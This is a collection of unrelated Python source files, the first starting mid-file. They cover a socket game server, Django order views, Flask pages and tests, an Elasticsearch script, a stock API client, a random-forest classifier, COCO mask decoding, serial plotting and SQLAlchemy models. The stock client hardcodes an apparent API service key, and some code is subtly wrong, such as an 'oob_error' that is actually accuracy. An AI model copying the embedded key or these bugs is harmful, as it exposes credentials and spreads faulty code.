    #정답을 맞춘 유저가 없을 경우
    if len(rightPlayerList) == 0:
        playerList[currentTurnNum].score+=1
        txt1 = "정답: "+str(correctAns)+"\n"
        txt2 = "정답을 맞춘 플레이어가 없기에 출제자 "+playerList[currentTurnNum].userId+"는 1점을 획득합니다.\n"
        txt3 = "플레이어: "+ (" ".join([x.userId for x in playerList]))+"\n"
        txt4 = "현재점수: "+ (" ".join([str(x.score) for x in playerList]))+"\n"

        for user in userList:
            user.socket.send((txt1+txt2+txt3+txt4).encode())

        currentTurnNum += 1
        if currentTurnNum > 2:
            currentTurnNum = 0
        gameState = GameState.PLAY_TURNSTART
    #정답을 맞춘 유저가 있을 경우 맞춘 유저마다 1점을 획득합니다.
    else:
        for player in rightPlayerList:
            player.score+=1
        txt1 = "정답: "+str(correctAns)+"\n"
        txt2 = "플레이어 "+(" ".join([x.userId for x in rightPlayerList]))+"은 정답 "+ str(correctAns) +"을 맞추었기에 1점을 획득합니다.\n"
        txt3 = "플레이어: "+ (" ".join([x.userId for x in playerList]))+"\n"
        txt4 = "현재점수: "+ (" ".join([str(x.score) for x in playerList]))+"\n"
        for user in userList:
            user.socket.send((txt1+txt2+txt3+txt4).encode())

        currentTurnNum += 1
        if currentTurnNum > 2:
            currentTurnNum = 0

        gameState = GameState.PLAY_TURNSTART

    #마지막에 3 점을 획득하여 승리한 유저를 리스트에 넣고
    #다른 유저들한테 메세지를 전송합니다.
    #승리한 유저가 없으면 PLAY_TURNSTART상태 , 있으면 NOT_PLAYING 상태로 전환됩니다.
    winnerList = list()
    for player in playerList:
        if player.score == 3:
            winnerList.append(player)
    if len(winnerList) >0 :
        txt1 = "-------------------------------------\n"
        txt2 = "플레이어 "+ str([x.userId for x in winnerList]) +" 이 3점을 먼저 획득하여 게임에서 승리하였습니다.\n"
        currentTurnNum = 0
        for user in userList:
            user.score = 0
            user.socket.send((txt1+txt2).encode())
        gameState = GameState.NOT_PLAYING

#유저의 연결요청을 처리합니다. 별도의 스레드로 진행됩니다.
def acceptUser():

    while True:
        try:

#  유저의 수가 5보다 작을때 게임진행여부와 상관없이 항상 접수처리합니다 (3이상은 관찰자)
            if len(userList)<5:

                client_socket, addr = server_socket.accept()
                # 다른 사용자가 있으면 사용자id리스트를 전송합니다.
                if len(userList)>0:
                    msg = str(len(userList))+" other user online: "
                    msg2 = " ".join([x.userId for x in userList])
                    client_socket.send((msg + msg2).encode())

                data = client_socket.recv(1024)
                userId = data.decode()
                #새로 연결한 사용자가 요청한 이름이 이미 존재하는 경우 s_1 같은 방법으로 처리합니다.
                isUserIdExist = False
                for user in userList:
                    if userId == user.userId:
                        isUserIdExist = True
                if isUserIdExist:
                    # 같은 id가 존재하는 경우 가장 큰 s_N 보다 1크게 하여 충돌을 방지합니다.

                    isUserIdExistTwice = False
                    for user in userList:
                        if userId + "_" in user.userId:
                            isUserIdExistTwice = True
                    if isUserIdExistTwice:
                        biggest = 0
                        for user in [x for x in userList if userId + "_" in x.userId]:
                            endNum = int(user.userId[user.userId.find("_")+1::])
                            if endNum>biggest:
                                biggest = endNum
                        userId += "_" + str(biggest+1)
                    else:
                        userId = userId + "_1"

                userList.append(User(userId,client_socket))
                start_new_thread(threaded, (client_socket, addr))
        except socket.error as e:
            print(e)

start_new_thread(acceptUser,())

while True:

    # 게임플레이 중이 아니고 유저수가 3 이상일때만 게임을 시작합니다.
    if gameState == GameState.NOT_PLAYING:
        if  len(userList)>=3:
            #먼저 서버에 연결한 3명의 유저를 선택하여 게임을 시작합니다.
            for user in sorted(userList, key=lambda user: user.priorityNum):
                if len(playerList)<3:
                    playerList.append(Player(user.userId,user.socket,user.priorityNum,0,0))
            gameState = GameState.PLAY_TURNSTART
            txt1 = "게임이 시작되었습니다."
            txt2 = "플레이어 "+(" ".join([x.userId for x in playerList]))+"가 게임에 참여중입니다.\n"
            for user in userList:
                user.socket.send((txt1+txt2).encode())
    elif gameState == GameState.PLAY_WAIT_INPUT:

        continue
    elif gameState == GameState.PLAY_TURNSTART:

        for user in userList:
            id = playerList[currentTurnNum].userId
            txt1 = "-------------------------------------\n"
            txt2 = "플레이어 "+id+" 님이 숫자를 선택중입니다.\n"
            txt3 = "다른 플레이어들은 7초간 숫자를 선택하시고 선택하지 않으면\n"
            txt4 = "자동으로 1~3 사이의 숫자가 선택됩니다.\n"
            txt5 = "-------------------------------------\n"
            user.socket.send((txt1+txt2+txt3+txt4+txt5).encode())
            #선택할 숫자를 예정합니다. 유저가 입력한 선택은 다른 스레드에서 입력됩니다.
        for player in playerList:
            player.selectedNum = randint(1,3)
        gameState = GameState.PLAY_WAIT_INPUT
        #7s 동안 서브스레드가 돌아가고 , 그동안 메인스레드는 sleep합니다
        timer = threading.Timer(7.0, afterSevenSecond)
        timer.start()
        time.sleep(7.4)

server_socket.close()


from django.shortcuts import get_object_or_404
from rest_framework import status
from rest_framework.decorators import api_view, permission_classes
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response

from medicines.models import Medicine
from orders.models import Cart, Order

@api_view(['POST'])
@permission_classes([IsAuthenticated])
def create_order(request):
    order_items = request.data['order_items']  # {medicine_id, quantity}
    address = request.data['address']

    order_items_to_create = []
    not_found_medicines = []

    for order_item in order_items:
        medicine = Medicine.objects.get(id=order_item['medicine_id'])
        if not medicine:
            not_found_medicines.append(order_item['medicine_id'])
            continue

        order_items_to_create.append(
            Cart(
                medicine=medicine,
                quantity=order_item['quantity']
            )
        )

    Cart.objects.bulk_create(order_items_to_create)
    Order.objects.create(
        user=request.user,
        address=address
    )

    return Response({
        'not_found_medicines': not_found_medicines,
    }, status=status.HTTP_200_OK)

@api_view(['DELETE'])
@permission_classes([IsAuthenticated])
def delete_order(request, order_id):
    order = get_object_or_404(Order, id=order_id)
    order.delete()

    return Response({}, status=status.HTTP_200_OK)

@api_view(['GET'])
@permission_classes([IsAuthenticated])
def get_order(request, order_id):
    order = get_object_or_404(Order, id=order_id)

    return Response({}, status=status.HTTP_200_OK)


from flask import (
    Blueprint,
    render_template,
    request,
)
from .models import Books,Author,Tags
from flask_paginate import Pagination,get_page_parameter
import config

# 图书页面的本bp
bp = Blueprint("book",__name__,url_prefix='/book')

# 前台主页
@bp.route('/',endpoint='index')
def index():
    page = request.args.get(get_page_parameter(), type=int, default=1)  # 从前端获取你要查看的页码
    # select * from posts limit start,总共多少条;
    start = (page - 1) * config.PER_PAGE  # 从哪里开始查询  索引值
    # 第几页 start end 每页显示条数
    # 1      0     9      10
    # 2      10    19     10
    end = start + config.PER_PAGE  # 在哪里结束    索引值

    # 表示从数据库中查出来的所有的帖子文章   每一页的
    posts = None

    # 所有文章的总数
    total = 0

    # 上一页 1 2... 48 49 50 51 52... 97 98下一页

    # 查出所有的贴子
    query_obj = Books.query.order_by(Books.join_time.desc())
    # 统计帖子的总数
    total = query_obj.count()
    # 相当于 select * from posts limit 1,2

    # 将查出来的帖子 切割到每一页
    posts = query_obj.slice(start, end)

    # 调用分页对象
    # bs_version bootstrap 样式版本 默认2
    # page 从前端传递过来的 用户想查看第几页
    # total 表示 帖子的总数
    # inner_window 当前页码的 左边 和右边 分别有几个页码
    # outer_window  上一页的右边    下一页的左边  有几个   0 代表有一个 如果你想显示5个  那么就是4

    pagination = Pagination(bs_version=3, page=page, total=total, inner_window=2, outer_window=0)
    context = {
        'pagination':pagination,
        'posts':posts
    }
    return render_template('books/boos_index.html', **context)


import requests
import argparse

#getting user inputs
parser = argparse.ArgumentParser()
parser.add_argument('--index', help='Elasticsearch index name"', type=str)
parser.add_argument('--type', help='Elasticsearch type"', type=str)
parser.add_argument('--keywords_list', help='keywords list to query"', type=str)
args = parser.parse_args()

# es_index = 'discovery_dev' # equivalent to SQL database
# es_type = '_doc' # equivalent to SQL table: mandatory to use _doc for text elements
# keywords_list = 'crêpes'

es_index = args.index
es_type = args.type
keywords_list = args.keywords_list

res = requests.get('https://search-PPTECH1-zrhgle3vemuqzhhs7fudth7cae.eu-west-3.es.amazonaws.com/'+es_index+'/_search?q='+keywords_list)

print(res.status_code)
if res.status_code != 200:
    print('ERROR during GET search')
    exit(1)
else:
    print('element correctly GET search!')

print(res)

res_json = res.json()
print(res_json)


import requests
import xml.etree.ElementTree as elemTree

def findStocks(name):
    url = 'http://api.seibro.or.kr/openapi/service/StockSvc/getStkIsinByNmN1'

    servicekey= requests.utils.unquote('CCyHbj1LLKwj5YjI7ycFHNZJNNlRmz06H4SBg0PHzStJzHDKzYVc%2FqMWsM95qQkuUy90qT7NHjJRxDnL4DdldQ%3D%3D')

    secnNm = name

    queryParams = { 'serviceKey' : servicekey
                   , 'secnNm' : secnNm
                   , 'numOfRows' : '10'
                   , 'pageNo' : '1'
                  }

    request = requests.get(url,params=queryParams)
    tree = elemTree.fromstring(request.text)
    iter_element = tree.iter(tag="item")

    array=[]
    idx=1
    for i in iter_element:
        stock_dict={}
        stock_dict['eltscYn'] = i.find("eltscYn").text
        if i.find("engSecnNm") is None:
            stock_dict['engSecnNm'] = ""
        else:
            stock_dict['engSecnNm'] = i.find("engSecnNm").text
        stock_dict['isin'] = i.find("isin").text
        stock_dict['issuDt'] = i.find("issuDt").text
        stock_dict['issucoCustno']= i.find("issucoCustno").text
        stock_dict['korSecnNm']=i.find("korSecnNm").text
        stock_dict['secnKacdNm']=i.find("secnKacdNm").text
        array.append(stock_dict)
        idx+=1
    return array


from collections import deque, Counter
from BinTree import *
from RandomForestBase import *

class RandomForestClassifier(RandomForestBase):
    """
    Klasa wykonujaca klasyfikacje za pomoca lasu losowego.
    """

    def __init__(self, n_features):

        super(RandomForestClassifier, self).__init__(n_features)
        self.classifier_classes = [] #klasy klasyfikacji

    def fit(self, X, y):

        m, n = X.shape

        data_type, classifier_classes = analyse_input_data(X, y)
        self.training_data_type = data_type

        new_tree = True
        last_oob_errors = deque(maxlen=11)

        #zakladamy ze tylko dwie klasy
        #jako pierwsza w liscie ma byc klasa y[0] - wystepujaca w zbiorze treneigowym jako pierwsza
        self.classifier_classes = [y[0]]
        for c in classifier_classes:
            if c != y[0]:
                self.classifier_classes.append(c)

        #klasyfikacje dokonane za pomoca k-1 drzew
        actual_classification_for_training_set = [Counter({self.classifier_classes[0] : 0, self.classifier_classes[1] : 0}) for i in range(m)]

        #proporcje pomiedzy klasamy
        prop = Counter(y)[self.classifier_classes[0]] / float(m)

        while new_tree:

            losuj = True #zmienna odpowiadajaca za losowanie - sprawdzenie proporcji pomiedzy klasami

            while losuj: #losowanie dopoki proporcje pomiedzy klasami nie sa podobne

                #losowanie ze zwracaniem m przykladow ze zbioru treningowego
                rows = np.random.choice(m, m, replace=True)
                training_set = X[rows,:]
                training_set_classes = y[rows]

                #sprawdzenie czy podobne proporcje pomiedzy klasami do tych w pelnym zbiorze treningowym
                act_prop = Counter(training_set_classes)[self.classifier_classes[0]] / float(m)

                if prop - 0.1 <= act_prop <= prop + 0.1:
                    losuj = False

            #wiersze ktore nie sa w zbiorze treningowym - out of bag
            not_rows = list(set(range(m)).difference(rows))
            #testing_set = X[not_rows,:]

            tree = self.create_decision_tree(training_set, training_set_classes, 'C')
            self.forest.append(tree)

            #dla kazdej obserwacji sprawdzamy decyzje utworzone przez dodane drzewo
            for i in not_rows:
                decision = tree.classify(X[i, :])
                actual_classification_for_training_set[i][decision] += 1

            true_sum = 0
            false_sum = 0

            #zliczenie klasyfikacji po dodaniu drzewa
            for i,observation in enumerate(actual_classification_for_training_set):
                forest_decision = observation.most_common(1)[0][0]
                if forest_decision == y[i]:
                    true_sum += 1
                else:
                    false_sum += 1

            #aktualny blad oob po dodaniu do lasu drzewa
            oob_error = true_sum / float(true_sum + false_sum)
            last_oob_errors.append(oob_error)

            #sprawdzenie czy mozna zakonczyc proces uczenia nowych drzew
            #wyliczenie bledu oob
            if len(last_oob_errors) == 11:
                if list(last_oob_errors)[0] - (sum(list(last_oob_errors)[1:]) / 10.) < 0.01:
                    new_tree = False

    def predict(self,X):

        #Sprawdzenie czy regresor zostal wczesniej nauczony
        if self.forest == []:
            raise ValueError('Metoda fit nie zostala wywolana')

        self.check_predict_data(X)

        decisions = self.decisions_made_by_all_trees(X)
        forest_decisions = []

        for dec in decisions:
            forest_decisions.append(dec.most_common(1)[0][0])

        return forest_decisions

    def predict_proba(self,X):
        """
        Zwraca wektor prawdopodobienstw przynaleznosci przykladow do pierwszej klasy - czyli do klasy wystepujacej w zbiorze treningowym jako pierwsza
        """

        self.check_predict_data(X)

        decisions = self.decisions_made_by_all_trees(X)
        forest_proba_decisions = []
        n_trees = float(len(self.forest))

        for dec in decisions:
            forest_proba_decisions.append(dec[self.classifier_classes[0]] / n_trees)

        return forest_proba_decisions

    def decisions_made_by_all_trees(self,X):

        m, n = X.shape

        #dla kazdego wiersza z tabeli X zliczenie decyzji podjetych przez wszystkie drzewa w lesie
        decisions = [Counter({self.classifier_classes[0] : 0, self.classifier_classes[1] : 0}) for i in range(m)]
        for i,row in enumerate(X):
            for tree in self.forest:
                decision = tree.classify(row)
                decisions[i][decision] += 1

        return decisions


import json
import pycocotools.mask as mask_util
import ast
import cv2

def decoding(rle_json, decode_all):
    with open(rle_json, 'r') as f:
        targets = json.load(f) # targets: list of string (each string expresses json file as dict)
        # print(type(targets), targets, len(targets))
        # print(type(targets[0]))

        # convert targets to list of dictionary
        cnt = 0
        for target in targets:
            target = target.strip('\n') # delete \n
            target = ast.literal_eval(target) # change str to dict

            if decode_all:
                with open(rle_json[:-5] + '_decoded_({}).json'.format(cnt), 'w') as decoded_f:
                    mask = mask_util.decode(target['segmentation'])[:, :]
                    # target['segmentation'] = polygonFromMask(mask) # if you want to get contour, deannotate this line of codes
                    target['segmentation'] = mask.tolist()

                    decoded_f.write(json.dumps(target))
                    cnt += 1
            else:
                if target["category_id"] == 0:  # if target is person
                    with open(rle_json[:-5] + '_decoded_({}).json'.format(cnt), 'w') as decoded_f:
                        mask = mask_util.decode(target['segmentation'])[:, :]
                        # target['segmentation'] = polygonFromMask(mask) # if you want to get contour, deannotate this line of codes
                        print(mask, type(mask))
                        target['segmentation'] = mask.tolist()

                        decoded_f.write(json.dumps(target))
                        cnt += 1

# The all codes below reference to
# https://github.com/cocodataset/cocoapi/issues/476

'''
maskedArr = mask_util.decode(compactRLESegmentation)
area = float((maskedArr > 0.0).sum())
def polygonFromMask(maskedArr):
  # adapted from https://github.com/hazirbas/coco-json-converter/blob/master/generate_coco_json.py
  contours, _ = cv2.findContours(maskedArr, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)
  segmentation = []
  valid_poly = 0
  for contour in contours:
  # Valid polygons have >= 6 coordinates (3 points)
     if contour.size >= 6:
        segmentation.append(contour.astype(float).flatten().tolist())
        valid_poly += 1
  if valid_poly == 0:
     raise ValueError
  return segmentation
'''

# This function is for transferring binary masks to contour coordinates
def polygonFromMask(maskedArr):  # https://github.com/hazirbas/coco-json-converter/blob/master/generate_coco_json.py
    # please reference the site below to use findCountours function properly
    # https://opencv-python.readthedocs.io/en/latest/doc/15.imageContours/imageContours.html
    contours, _ = cv2.findContours(maskedArr, cv2.RETR_EXTERNAL, cv2.CHAIN_APPROX_NONE)

    segmentation = []
    for contour in contours:
        # Valid polygons have >= 6 coordinates (3 points)
        if contour.size >= 6:
            segmentation.append(contour.flatten().tolist())
    RLEs = mask_util.frPyObjects(segmentation, maskedArr.shape[0], maskedArr.shape[1])
    RLE = mask_util.merge(RLEs)
    # RLE = mask.encode(np.asfortranarray(maskedArr))
    area = mask_util.area(RLE)
    [x, y, w, h] = cv2.boundingRect(maskedArr)

    return segmentation[0]  # , [x, y, w, h], area


import flask
import pytest

import sys
sys.path.append('../src')

from flask_restful_api import app

def test_endpoint_endpoints():
    with app.test_client() as c:
        rv = c.get('/endpoints')
        json_data = rv.get_json()
        assert json_data == {
            'endpoints': [
                {
                    'endpoint': '/autocomplete/?q=[PARTIAL_OR_FULL_NAME]',
                    'about:': 'Lists all the names found that starts with the given text.',
                    'warning': 'For searches containing blank spaces, replace them for: "%20".',
                    'examples': [
                        'rasm',
                        'rasmus%20po'
                    ]
                },
                {
                    'endpoint': '/endpoints',
                    'about': 'Lists all available endpoints.'
                },
                {
                    'endpoint': '/find/?q=[NAME]',
                    'about': 'Checks if the given name exists in the dataset.'
                }
            ]
        }

def test_find():
    with app.test_request_context('/find/?q=abby bates'):
        assert flask.request.path == '/find/'
        assert flask.request.args['q'] == 'abby bates'

def test_autocomplete():
    with app.test_request_context('/autocomplete/?q=ras'):
        assert flask.request.path == '/autocomplete/'
        assert flask.request.args['q'] == 'ras'

    with app.test_request_context('/autocomplete/?q=rasmus po'):
        assert flask.request.path == '/autocomplete/'
        assert flask.request.args['q'] == 'rasmus po'


import serial
import matplotlib.pyplot as plt
import matplotlib.animation as animation
import numpy as np
import time

# Establish a serial connection
ser = serial.Serial('COM6', 115200)  # substitute 'COM3' with your port number and '9600' with your baud rate
time.sleep(1)
# Variables to store data
pitch_a_data = []
roll_a_data = []
pitch_g_data = []
roll_g_data = []
pitch_f_data = []
roll_f_data = []

fig, ax = plt.subplots()

lines = []
colors = ['r', 'b', 'g', 'y', 'm', 'c']
labels = ['Pitch Accelerometer', 'Roll Accelerometer', 'Pitch Gyroscope', 'Roll Gyroscope', 'Pitch Filtered', 'Roll Filtered']

for i in range(6):
    line, = ax.plot([], [], colors[i], label=labels[i])
    lines.append(line)

ax.legend(loc='upper left')

# Set y-axis limits
ax.set_ylim([-90, 90])
ax.yaxis.grid(True, linestyle='--', which='major', color='grey', alpha=.25)

def init():
    for line in lines:
        line.set_data([], [])
    return lines

def update(i):
    while (ser.inWaiting() == 0):  # wait for data
        pass
    arduinoString = ser.readline().decode('utf-8')  # read a line from the serial port
    data = arduinoString.split()

    if len(data) == 6:  # check if data array contains all data
        pitch_a = float(data[0])
        roll_a = float(data[1])
        pitch_g = float(data[2])
        roll_g = float(data[3])
        pitch_f = float(data[4])
        roll_f = float(data[5])

        pitch_a_data.append(pitch_a)
        roll_a_data.append(roll_a)
        pitch_g_data.append(pitch_g)
        roll_g_data.append(roll_g)
        pitch_f_data.append(pitch_f)
        roll_f_data.append(roll_f)

        # Limit the size of the data list
        if len(pitch_a_data) > 50:
            pitch_a_data.pop(0)
        if len(roll_a_data) > 50:
            roll_a_data.pop(0)
        if len(pitch_g_data) > 50:
            pitch_g_data.pop(0)
        if len(roll_g_data) > 50:
            roll_g_data.pop(0)
        if len(pitch_f_data) > 50:
            pitch_f_data.pop(0)
        if len(roll_f_data) > 50:
            roll_f_data.pop(0)

    lines[0].set_data(range(len(pitch_a_data)), pitch_a_data)
    lines[1].set_data(range(len(roll_a_data)), roll_a_data)
    lines[2].set_data(range(len(pitch_g_data)), pitch_g_data)
    lines[3].set_data(range(len(roll_g_data)), roll_g_data)
    lines[4].set_data(range(len(pitch_f_data)), pitch_f_data)
    lines[5].set_data(range(len(roll_f_data)), roll_f_data)

    ax.relim()
    ax.autoscale_view()

    return lines

ani = animation.FuncAnimation(fig, update, init_func=init, blit=False, interval=20)
plt.show()


from fastapi import APIRouter, Query, File, UploadFile, HTTPException

from sqlalchemy import Boolean, Column, ForeignKey, Integer, String, PrimaryKeyConstraint
from sqlalchemy import create_engine, Column, Integer, String, ForeignKey, UniqueConstraint
from sqlalchemy.ext.declarative import declarative_base
from sqlalchemy.orm import sessionmaker, relationship

# THis includes the initialized RDBS function and the Objects for the MySQL database

# Create the base model for SQLAlchemy
Base = declarative_base()

def initialize_rdbs():
    print("Initializing rdbs")
    try:
        # Create the SQLAlchemy engine and session
    # Create a connection to the MySQL server without specifying a database
        DATABASE_URL = "mysql+pymysql://root@localhost/citidream"
        engine = create_engine(DATABASE_URL, echo=True)

        # Create a connection to the MySQL server without specifying a database
        # connection = engine.connect()

        # Close the connection to the MySQL server

        Base.metadata.create_all(bind=engine)

        SessionLocal = sessionmaker(autocommit=False, autoflush=False, bind=engine)
        session = SessionLocal()

        # connection.close()
        return session
    except Exception as e:
        print("Error in initializing RDBS")
        print(e)

initialize_rdbs()

# ObjectID | ExcerptID |
# If it is a PDF, the object will relate to the PDF in S3, isLink = 0, URL = None
# If it is a Link, the objectID will be a random uuid. isLink = 1, URL = link
class ObjectExcerptPair(Base):
    """
    This table stores
        - ObjectID: This ID refers to the ID of the object in S3, or a random UUID if it is a link
        - ExcerptID: This ID refers to the ID of the excerpt generated by LLM, an object can have many excerpts.

    The composite primary key is ObjectID and ExcerptID
    """
    __tablename__ = "ObjectExcerptPair"

    ObjectID = Column(String(64))
    ExcerptID = Column(String(64))

    ObjectID = Column(String(64), ForeignKey('ObjectInfo.ObjectID'))
    object_entries = relationship('ObjectInfo', backref='votes')

    __table_args__ = (
        PrimaryKeyConstraint('ObjectID', 'ExcerptID'),
    )

# ObjectID | Name | Upvotes | Downvotes
class ObjectInfo(Base):
    """
    This table stores
        - ObjectID: This ID refers to the ID of the object in S3
        - Upvotes: This is the number of upvotes that the object has
        - Downvotes: This is the number of downvotes that the object has
    """

    __tablename__ = "ObjectInfo"

    ObjectID = Column(String(64))
    ObjectName = Column(String(255))
    Department = Column(String(128))
    Classification = Column(String(32)) # Restricted, Unclassified
    Upvotes = Column(Integer, default=0)
    Downvotes = Column(Integer, default=0)
    isLink = Column(Boolean, default=0)
    URL = Column(String(255))

    __table_args__ = (
        PrimaryKeyConstraint('ObjectID'),
    )